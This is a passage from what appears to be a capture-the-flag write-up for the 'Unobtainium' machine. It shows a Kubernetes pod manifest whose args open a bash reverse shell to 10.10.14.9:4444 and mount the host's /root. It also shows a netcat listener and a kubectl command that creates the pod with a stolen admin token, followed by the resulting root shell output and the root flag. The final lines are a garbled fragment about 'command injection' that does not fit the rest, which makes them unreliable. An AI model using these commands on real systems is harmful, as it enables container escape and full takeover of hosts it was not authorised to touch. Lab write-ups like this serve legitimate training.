    args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.14.9/4444 0>&1;"]
  volumes:
  - name: getflag
    hostPath:
      path: /root/

Now, download it from the container.

wget http://10.10.14.9/pwned.yaml

Now, set another netcat listener on port 4444.

nc -lvnp 4444

And create a new pod using the pwned.yaml file and the token. We should gain access as root into the main machine, and then all we have to do is reap the harvest and take the root flag.

./kubectl create -f pwned.yaml --token $(cat c-admin-token-b47f7)

Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 55246
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app# whoami
whoami
root
root@unobtainium:/usr/src/app# hostname
hostname
unobtainium
root@unobtainium:/usr/src/app# hostname -I
hostname -I
10.10.10.235 172.17.0.1 10.42.0.0 10.42.0.1 dead:beef::250:56ff:feb9:ae18 
root@unobtainium:/usr/src/app# cat /root/root.txt
cat /root/root.txt
4eb68720512c2a49a79eebb9480ce8c6

There is a vulnerability that affects this software. The vulnerability occurs in the following line.

command injection